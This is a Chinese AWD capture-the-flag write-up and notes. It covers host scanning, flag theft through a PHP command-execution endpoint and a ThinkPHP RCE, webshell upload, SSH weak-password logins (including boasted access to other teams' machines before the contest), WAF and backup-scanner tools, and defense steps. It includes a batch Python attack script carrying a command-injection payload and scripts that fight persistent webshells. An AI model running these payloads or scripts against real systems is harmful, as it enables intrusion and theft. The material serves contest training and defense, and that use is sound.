目录
AWD
解题思路]
首先就是fscan快速扫描对应C段, 发现对应103的C段存活85个主机。
继续扫描
(icmp) Target | <192.168.103.3> | is | alive |
---|---|---|---|
(icmp) Target | <192.168.103.2> | is | alive |
(icmp) Target | <192.168.103.5> | is | alive |
(icmp) Target | <192.168.103.6> | is | alive |
(icmp) Target | <192.168.103.4> | is | alive |
(icmp) Target | <192.168.103.9> | is | alive |
(icmp) Target | <192.168.103.12> | is | alive |
(icmp) Target | <192.168.103.10> | is | alive |
(icmp) Target | <192.168.103.15> | is | alive |
(icmp) Target | <192.168.103.16> | is | alive |
(icmp) Target | <192.168.103.14> | is | alive |
(icmp) Target | <192.168.103.19> | is | alive |
(icmp) Target | <192.168.103.20> | is | alive |
(icmp) Target | <192.168.103.23> | is | alive |
(icmp) Target | <192.168.103.22> | is | alive |
(icmp) Target | <192.168.103.25> | is | alive |
---|---|---|---|
(icmp) Target | <192.168.103.28> | is | alive |
(icmp) Target | <192.168.103.27> | is | alive |
(icmp) Target | <192.168.103.24> | is | alive |
(icmp) Target | <192.168.103.26> | is | alive |
(icmp) Target | <192.168.103.30> | is | alive |
(icmp) Target | <192.168.103.31> | is | alive |
(icmp) Target | <192.168.103.32> | is | alive |
(icmp) Target | <192.168.103.36> | is | alive |
(icmp) Target | <192.168.103.37> | is | alive |
(icmp) Target | <192.168.103.35> | is | alive |
(icmp) Target | <192.168.103.39> | is | alive |
(icmp) Target | <192.168.103.38> | is | alive |
(icmp) Target | <192.168.103.43> | is | alive |
(icmp) Target | <192.168.103.44> | is | alive |
(icmp) Target | <192.168.103.45> | is | alive |
(icmp) Target | <192.168.103.47> | is | alive |
(icmp) Target | <192.168.103.49> | is | alive |
(icmp) Target | <192.168.103.52> | is | alive |
(icmp) Target | <192.168.103.50> | is | alive |
(icmp) Target | <192.168.103.55> | is | alive |
(icmp) Target | <192.168.103.56> | is | alive |
(icmp) Target | <192.168.103.59> | is | alive |
(icmp) Target | <192.168.103.60> | is | alive |
(icmp) Target | <192.168.103.58> | is | alive |
(icmp) Target | <192.168.103.57> | is | alive |
(icmp) Target | <192.168.103.61> | is | alive |
(icmp) Target | <192.168.103.63> | is | alive |
(icmp) Target | <192.168.103.62> | is | alive |
(icmp) Target | <192.168.103.65> | is | alive |
(icmp) Target | <192.168.103.67> | is | alive |
(icmp) Target | <192.168.103.71> | is | alive |
(icmp) Target | <192.168.103.68> | is | alive |
(icmp) Target | <192.168.103.69> | is | alive |
(icmp) Target | <192.168.103.73> | is | alive |
(icmp) Target | <192.168.103.74> | is | alive |
(icmp) Target | <192.168.103.70> | is | alive |
(icmp) Target | <192.168.103.72> | is | alive |
(icmp) Target | <192.168.103.80> | is | alive |
---|---|---|---|
(icmp) Target | <192.168.103.76> | is | alive |
(icmp) Target | <192.168.103.75> | is | alive |
(icmp) Target | <192.168.103.79> | is | alive |
(icmp) Target | <192.168.103.77> | is | alive |
(icmp) Target | <192.168.103.78> | is | alive |
(icmp) Target | <192.168.103.81> | is | alive |
(icmp) Target | <192.168.103.82> | is | alive |
(icmp) Target | <192.168.103.84> | is | alive |
(icmp) Target | <192.168.103.88> | is | alive |
(icmp) Target | <192.168.103.89> | is | alive |
(icmp) Target 等等等等 | <192.168.103.91> | is | alive |
好笑的是我们比赛之前先上了其他队的kali,哈哈弱口令1
之后。发现都开启了对应的端口,尤其是ssh 22端口开放,根据裁判声明,直接尝试登录 其他主队主机。
因为有三个题,在当时做的时候,刚开始登陆过题目一所在主机,但只获取的对应 flag,忘记进行审计代码,忽略掉
第二道题为PHP类型的,这里忘记截图了,审计代码发现存在一个php文件, 里面 含有命令执行功能。
这是一道通杀:访问 http:ơurl/demo.php?cmd1=cat /flag 即可拿到 flag,于是凭借这个思路,拿下全部存活主机flag (部分做出防护的,未拿下)
第三道题为java,这道题是最后才找到代码开始审计,也是发现相关执行系统命令 的功能,但是时间不够,没有做出来
呼叫队友对存活主机继续尝试ssh连接拿flag。
下面附上部分截图
攻击成果
渗透
cfs
直接漏洞,发现开启了80、22、8080端口,并且在8080发现poc,看上面写
的是tp5.0.23版本的RCE,拿工具直接打
如上图,可以看到存在两个漏洞,但不能直接命令执行,尝试上传webshell
看到上传成功,之后蚁剑连接,根目录拿到第一个flag
单节点1
依旧fscan漏扫,发现存在敏感文件泄露,访问之后得到zip,尝试压缩发现需要密
码
这里尝试了弱口令,拿到flag
还有后面在那个里面还有流量分析,可以获得flag
AWD笔记
AWD工具
文件比较工具
DiffMerge 是一个强大的文件比较工具
打开俩个文件夹,可以进行比较
如果不同会标记
然后双击打开,查看不同
免费好用的Diff和Merge工具大总结 - hfyfpga - 博客园 (cnblogs.com)
Web漏洞扫描工具
D盾导入文件就可以扫描文件中漏洞,将网站的文件下载下来
自定义扫描,放进D盾扫描,会爆后面,5基本上是后门了
还有iis防火墙防御,还没用不知道什么样子的
waf工具
watchbird Releases · leohearts/awd-watchbird · GitHub
-
易于配置(单文件, 无需加载外部js/css)
-
可以随时开启/关闭某项防御
-
基本防御:
-
数据库注入(sql injection)
-
文件上传(upload)
-
文件包含(lfi)
-
flag关键字
-
PHP反序列化(unserialize)
-
命令执行(rce)
-
分布式拒绝服务攻击(ddos)
-
请求头,请求参数(GET/POST)关键字
-
特殊字符
-
-
深度防御:
-
响应检测/反向代理(默认将流量发送至本地服务器自检,可配置代理服务器IP及端口实现反代功能)
-
响应flag检测并返回虚假flag
-
基于LD_PRELOAD的指令执行保护
-
基于open_basedir的PHP文件操作保护
-
-
网页控制台:
-
功能开关及配置
-
实时日志查看
-
日志流量重放, 可广播流量至指定网段, 支持提取flag自动提交
-
RCE/文件上传/深度检测 防御通知(由于chrome无法允许不安全的网站(无SSL证书)显示通知,请使用Firefox并修改about:config中dom.webnotifications.allowinsecure为true)
工具部署
1.下载最新 release 2.将waf.so,watchbird.php文件存放在/var/www/html或其他目录中 3.将watchbird.php放在www-data可读的目录, 确保当前用户对目标目录可写, 然后执行php watchbird.php --install [Web目录], 安装器将输出安装了watchbird的文件路径 4.访问任意启用了waf的文件, 参数?watchbird=ui打开watchbird控制台, 创建一个初始密码 5.如需卸载, 请在相同的位置输入php watchbird.php --uninstall [Web目录], 如果您多次运行了安装, 请多次运行卸载直到卸载器无输出 6.将以下代码放入需要启用waf的php脚本的第一行 <?php include_once "/var/www/html/watchbird.php" ?>6.enjoy it!
多准备点其他的比如数Tomcat就要用java的waf
-
代码审计工具
Seay源码审计系统
可以自动审计,也可手动审计
批量网站备份文件泄露扫描工具
ihoneyBakFileScan
简介
网站备份文件泄露可能造成的危害:
1. 网站存在备份文件:网站存在备份文件,例如数据库备份文件、网站源码备份文件等,攻击者利用该信息可以更容易得到网站权限,导致网站被黑。
2. 敏感文件泄露是高危漏洞之一,敏感文件包括数据库配置信息,网站后台路径,物理路径泄露等,此漏洞可以帮助攻击者进一步攻击,敞开系统的大门。
3. 由于目标备份文件较大(xxx.G),可能存在更多敏感数据泄露
4. 该备份文件被下载后,可以被用来做代码审计,进而造成更大的危害
5. 该信息泄露会暴露服务器的敏感信息,使攻击者能够通过泄露的信息进行进一步入侵。
下安裝后的操作
批量url扫描 python3.5 ihoneyBakFileScan.py -t 100 -f url.txt
单个url扫描 python3.5 ihoneyBakFileScan.py -u https://www.ihoneysec.top/
python3.5 ihoneyBakFileScan.py -u www.ihoney.net.cn
python3.5 ihoneyBakFileScan.py -u www.ihoney.net.cn -d dict.txt
cms通杀漏洞的利用
首先下载所有漏洞的库和poc
然后用ehole扫描指纹
然后安装Listary
双击ctrl,弹出输入扫出的cms,对应的漏洞库漏洞,然后复现
通杀脚本和批量提交flag脚本
这个很重要一定要提前写好,比如到时候很浪费时间,我第一次打AWD的时候就脚本问题,好浪费时间 下面是一个工具和提交写在一起脚本
import requests
import re
path = '/WebApi/competitionCyberRange/static/base/#/competition/route/competiManage/competiAnswer' # 攻击路径
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0',
'Accept': "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
"Accept-Language": 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Accept-Encoding': 'gzip, deflate',
'Connection': 'close',
'Cookie': 'JSESSIONID=823B9BC42B2A423CD515CEAEC3ECCDAA'
}
data = {
'ip': '127.0.0.1|arp -a',
'Submit': 'Submit'
}
#flag提交地址
url_flag = 'http://10.0.0.1/submit.php?token=123456&flag='
#批量攻击和提交
def attack():
with open('urls.txt', 'r') as file:
for line in file:
url = line.strip() + path # 攻击url
ret = requests.post(url=url, headers=headers, data=data, timeout=10)
#print("Response:", ret.text) # 调试输出
flag_match = re.search(r'flag\{.+\}', ret.text)
if flag_match:
flag = flag_match.group()
print("Flag:", flag)
flag_url = url_flag + flag
#res = requests.post(url=flag_url,headers=headers,timeout=2) #注意这里的headers可能有问题,需要根据实际情况修改
print(res.text)
else:
print(line.strip() + " Flag not found")
attack()
防御流程
-
改密码 (如果每个队服务器密码一样的话,很容易被人给脚本改密码)
-
备份(最少三份)
-
D盾扫后门,删除后门
-
漏洞修复
-
上waf
-
关进程
-
22,445,139端口,80-89web服务不用关闭等等
攻击流程
1.先扫描自己端口信息 一般先搜集自己的主机端口信息,比赛主机开放端口情况大多情况一致,然后类比指定扫描其他主机端口信息,最后挂后台全端口扫描防止端口遗漏
2.一般工具扫描
3.通过自己的弱点去攻击其他人的服务器
注意
1.Token是用于脚本身份凭证用于自动化提交鉴别。虚拟IP为靶机访问网址。其他选手地址可能就为192-168-x-250.pvp923.bugku.cn,x可以是1-255内任一个数字。
主机探测一般使用nmap或者是httpscan
nmap -sn 192.168.0.0/24 #扫描c段主机存活
nmap -sV 192.168.0.2 #扫描主机系统版本
nmap -sS 192.168.0.2 #扫描主机常用端口
nmap -sS -p 80,445 192.168.0.2 #扫描主机部分端口
nmap -sS -p- 192.168.0.2 #扫描主机全部端口
hhtpscan.py 192.168.0.0/24 -t 10 #同上
2.输入赛方提供的用户名和密码进行登录,用户权限一般较低。有时候会用RSA公钥登录的方式进行登录。或者是其他加密方式
3.端口利用方式未授权访问和弱口令漏洞
4.找到主配置文件
find / -name "nginx.conf" #定位nginx目录
find / -path "*nginx*" -name nginx*conf #定位nginx配置目录
find / -name "httpd.conf" #定位apache目录
find / -path "*apache*" -name apache*conf #定位apache配置目录
find / -name "index.php"
5.这个是参考,自动化利用工具扫描https://github.com/sry309/ihoneyBakFileScan 多进程批量网站备份文件泄露扫描工具
批量url扫描
python3.5 ihoneyBakFileScan.py -t 100 -f url.txt
单个url扫描
python3.5 ihoneyBakFileScan.py -u https://www.ihoneysec.top/
python3.5 ihoneyBakFileScan.py -u www.ihoney.net.cn
python3.5 ihoneyBakFileScan.py -u www.ihoney.net.cn -d dict.txt
6.杀死不死马
ps auxww|grep shell.php
找到pid后杀掉进程
循环杀进程
ps aux|grep www-data|awk '{print $2}'|xargs kill
重启php等web服务
service php-fpm restart
用一个ignore_user_abort(true)脚本,一直竞争写入(断断续续)
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '.3.php';
$code = 'hi springbird !';
//pass=pass
while (1){
file_put_contents($file,$code);
system('touch -m -d "2018-12-01 09:10:12" .3.php');
// usleep(5000);
usleep(1000);
}
?>
创建一个和不死马生成的马 一样名字的文件夹 mkdir 1.php
循环创建
#!/bin/bash
dire="/var/www/html/.base.php/"
file="/var/www/html/.base.php"
rm -rf $file
mkdir $dire
./xx.sh
7.在攻击web服务的时候说下两种情况 一种是已有漏洞的框架,一种是出题人写的框架。如果是已有漏洞的框架,通常会比较明显。比如说Struts2各种漏洞等等,用工具扫就可以扫出来。这个需要准备得比较充分,在电脑中备好 EXP 库、漏洞库和各种扫描工具库,以便能够快速利用比较明显的漏洞。
另一种情况就是分析WEB日志,学习其他选手攻击思路和漏洞利用过程,也是一个不错的得分途径。
8.网站备份目的是防止源码出错,或者是被对手恶意删除代码,或快速回复网站防止被裁判组check探测服务存活失败丢分
9.数据备份,数据库配置信息一般可以通过他的config.php/web.con等文件获取 10.注意内存马上了,会让服务器宕机,没法重启